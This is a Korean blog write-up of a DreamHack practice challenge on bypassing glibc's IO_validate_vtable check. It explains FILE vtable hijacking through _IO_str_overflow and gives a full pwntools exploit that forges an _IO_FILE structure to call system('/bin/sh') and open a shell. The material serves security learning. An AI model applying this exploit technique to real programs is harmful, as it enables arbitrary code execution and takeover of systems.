Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage6_문제풀이(Bypass IO_validate_vtable) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage6_문제풀이(Bypass IO_validate_vtable)

CIDY 2022. 7. 15. 02:09

파일 관련 함수가 호출될 땐 전달된 파일 포인터의 vtable주소를 참조한다. 이를 이용해 쉘을 획득할 수 있음.

 

우선 _IO_validate_vtable에 대한 이해가 선행되어야 한다.

 

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

 

이게 뭐냐면 IO_validate_vtable함수 코드이다. vtable은 __libc_IO_vtables섹션에 할당되는데, 코드에서는 해당 섹션의 시작 주소와 끝 주소를 빼서 섹션의 크기를 알아내고, 호출하려는 vtable의 주소가 섹션 크기를 벗어나는 값이면 _IO_vtable_check함수를 호출해 에러를 발생시킨다. 

 

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

 

이건 _IO_str_overflow함수인데, __libc_IO_vtables섹션에 존재하는 함수이다. 

 

코드 아래쪽을 보면 _s._allocate_buffer하는 이름의 함수 포인터를 호출한다. 이 함수 포인터의 인자로 new_size변수가 전달되는데, 

 

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
   return EOF;

 

그 변수의 값은 위와 같은 코드로 결정된다. _IO_FILE구조체 변수인 _IO_buf_end와 _IO_buf_base변수의 뺄셈 연산 값을 이용하고 있다. -> 이전 문제들처럼 파일 구조체를 조작할 수 있다면 new_size를 조작할 수 있다!

 

int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

 

이건 함수 포인터를 호출하기 위해 통과해야 하는 조건문인데, 여기서도 _IO_FILE구조체 멤버들의 연산 결과가 이용되고 있는 것을 볼 수 있다. 

 

flush_only변수의 기본값은 0이다. 따라서 저 조건문을 요약하면 pos >= _IO_blen(fp)가 된다.

 

그러니까 _IO_write_base를 0으로 만들면 _IO_write_ptr값 == pos값 이 되므로 간단히 구문을 통과하고 함수 포인터를 호출할 수 있게 된다.

 

 

요약: _IO_str_overflow함수로 흐름 조작 후 조건문 통과하면 _s._allocate_buffer하는 이름의 함수 포인터를 호출 가능. 그거 인자로 들어가는 new_size역시 파일 구조체 조작으로 조작가능 -> system("/bin/sh")만들기 가능

 

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie 
// 64-bit, nx, parital relro

#include <stdio.h>
#include <unistd.h>

FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  init();

  fp = fopen("/dev/urandom", "r");

  printf("stdout: %p\n", stdout);
  printf("Data: ");

  read(0, fp, 300);

  fclose(fp);
}

 

파일 포인터에 값을 잘 써 _IO_FILE구조체를 조작해보자.

 

일단 위에서 new_size를 연산하는 식을 거꾸로 해 인자를 맞춰줄 수 있다. 

 

vtable을 조작할 때는 IO_validate_vtable함수의 검사를 우회할 수 있는 주소로 덮어써야 한다. -> 일단 위 문제에서는 파일 구조체를 덮어쓸 수 있는 read가 수행된 뒤 fclose가 호출되는데, 얘는 또 그 안에서 _IO_FINISH함수를 호출한다. 

 

근데 이 함수는 __libc_IO_vtables섹션 안에 존재한다. -> 조작 가능

 

 

fclose함수 내부에서 _IO_FINISH함수를 호출하기 전에 파일 구조체의 vtable주소를 조작해 IO_str_overflow(아까 그 함수 포인터 호출하는 애)를 호출하도록 하고, 

 

아까 그 함수 포인터를 system으로 조작하고 new_size를 /bin/sh로 만들어 줄 수 있다.

 

그럼 어떻게 _IO_str_overflow를 호출할거냐면 -> 

 

fclose가 호출하는 _IO_FINISH는 vtable주소 + 16한 위치의 주소를 호출해온다 -> vtable을 IO_str_overflow - 16으로 세팅해주면 _IO_str_overflow를 호출하도록 할 수 있다.

 

그리고 그 함수 내부에 시스템으로 덮어야하는 함수 포인터의 경우 vtable + 8을 의미하기 때문에 조작한 vtable주소 바로뒤에 system주소를 써 주면 된다.

 

그리고 이걸 보면 _IO_new_file_finish보다 0xc8만큼 뒤에 그 함수가 있는걸 볼 수 있다. vtable값을 원래보다 0xc8큰 값으로 해 줘야 한다.

 

그럼 IO_str_overflow는 0xd8만큼 크게 해 주고, 조작할 vtable값은 0xc8크게 해 주면 됨.

 

from pwn import *

p = remote("host3.dreamhack.games", 24377)
libc = ELF("libc.so.6")
e = ELF("./bypass_valid_vtable")

p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
io_str_overflow = libc_base + libc.sym['_IO_file_jumps'] + 0xd8
fake_vtable = libc_base + libc.sym['_IO_file_jumps'] + 0xc8
fp = e.sym['fp']

blen = ((binsh - 100) // 2)
print(hex(binsh))
print(hex(blen))

pay = p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0) #write_base
pay += p64(blen) #write_ptr
pay += p64(0) #write_end
pay += p64(0) #buf_base
pay += p64(blen) #buf_end
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0) #fileno
pay += p64(0) #_old_offset
pay += p64(0) 
pay += p64(fp + 0x80) #vtable_offset
pay += p64(0) * 9
pay += p64(fake_vtable)
pay += p64(system) 

p.send(pay)
p.interactive()

 

자꾸 blen값이 정수가 아니라고 해서 binsh를 출력까지 시켜봤는데 짝수여서 뭐가 문제지 생각하다가 그냥 // 으로 써주니까 됐다.